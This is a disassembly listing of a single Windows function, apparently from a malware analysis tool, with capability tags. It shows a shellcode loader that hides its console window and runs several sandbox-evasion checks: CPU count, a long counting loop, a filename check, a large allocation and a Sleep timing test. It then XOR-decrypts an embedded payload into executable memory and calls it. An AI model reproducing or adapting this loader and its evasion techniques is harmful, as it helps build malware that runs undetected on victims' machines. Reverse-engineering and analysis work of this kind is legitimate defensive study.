Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x740
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x6e0], ecx
mov qword [rbp + 0x6e8], rdx
call fcn.140001a80
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x630]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x650]
mov dword [rbp + 0x69c], eax
cmp dword [rbp + 0x69c], 1
jg 0x140001522
mov ecx, 0
call sub.msvcrt.dll_exit
movabs rax, 0x29a13792a
mov qword [rbp + 0x690], rax
mov qword [rbp + 0x6b8], 0
mov qword [rbp + 0x6b0], 0
mov qword [rbp + 0x6b0], 0
jmp 0x140001566
add qword [rbp + 0x6b8], 1
add qword [rbp + 0x6b0], 1
mov rax, qword [rbp + 0x6b0]
cmp rax, qword [rbp + 0x690]
jl 0x140001556
mov rax, qword [rbp + 0x6b8]
cmp rax, qword [rbp + 0x690]
je 0x140001590
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x6e8]
mov rax, qword [rax]
lea rdx, str.document.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400015e0
mov dword [rbp + 0x68c], 0
mov qword [rbp + 0x680], 0
mov ecx, 0x939eddb
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
je 0x140001604
jmp 0x1400015ea
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x680]
mov r8d, 0x939eddb
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x67c], eax
mov ecx, 0x9b31
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x678], eax
mov eax, dword [rbp + 0x678]
sub eax, dword [rbp + 0x67c]
cmp eax, 0x9b30
jg 0x14000164d
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rbp + 0x670], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
je 0x1400018c2
lea rax, str.yCDoSOdA
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x360]
lea rdx, [0x14000a018]
mov ecx, 0x59
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0xf5aea272f370c1c3
movabs rdx, 0x88602859e377a9ef
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], rdx
movabs rax, 0xca3528426a487575
movabs rdx, 0xa188030ec5c669a2
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rdx
movabs rax, 0xc62fcd8aa3fc239a
movabs rdx, 0xd262bf7ad3edc984
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], rdx
movabs rax, 0xae53d75a6b5d4457
movabs rdx, 0x35eb9b019a327157
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2b8], rdx
movabs rax, 0xacaf78a7aa7faade
movabs rdx, 0xa292e8cce9ba1a7e
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], rdx
movabs rax, 0x57f07b951a1f16bf
movabs rdx, 0x96340fea46f4170a
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], rdx
movabs rax, 0x24f96546f1d00198
movabs rdx, 0x29040e2c59aa931c
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rdx
movabs rax, 0x59a09020a486c8d2
movabs rdx, 0x6b3436153abe9747
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rdx
movabs rax, 0x476d36600fd4cbe8
movabs rdx, 0x1f4d787ac6f743c7
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x308], rdx
movabs rax, 0xb4a73eadfd949fc4
movabs rdx, 0x74920036bc5f0b81
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], rdx
movabs rax, 0x784e217ae9b7b29e
movabs rdx, 0x898c72d389455733
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], rdx
movabs rax, 0x27507dd4fb905302
movabs rdx, 0x5d8da810a7facf0e
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], rdx
movabs rax, 0xccf028f38c34ec0
movabs rdx, 0xaba0758edc149ab9
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], rdx
mov dword [rbp + 0x34f], 0x15f4ab
mov dword [rbp + 0x6ac], 0
mov dword [rbp + 0x6a8], 0
jmp 0x14000191e
mov ecx, 0
call sub.msvcrt.dll_exit
cmp dword [rbp + 0x6ac], 0xd2
jne 0x1400018e2
mov dword [rbp + 0x6ac], 0
mov eax, dword [rbp + 0x6a8]
cdqe
movzx edx, byte [rbp + rax + 0x360]
mov eax, dword [rbp + 0x6ac]
cdqe
movzx eax, byte [rbp + rax + 0x280]
xor edx, eax
mov eax, dword [rbp + 0x6a8]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0x6ac], 1
add dword [rbp + 0x6a8], 1
mov eax, dword [rbp + 0x6a8]
cmp eax, 0x2c8
jbe 0x1400018cc
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x2c9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov rdx, rax
lea rax, [rbp - 0x50]
mov ecx, 0x2c9
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x668]
call rax
mov eax, 0
add rsp, 0x740
pop rsi
pop rdi
pop rbp
ret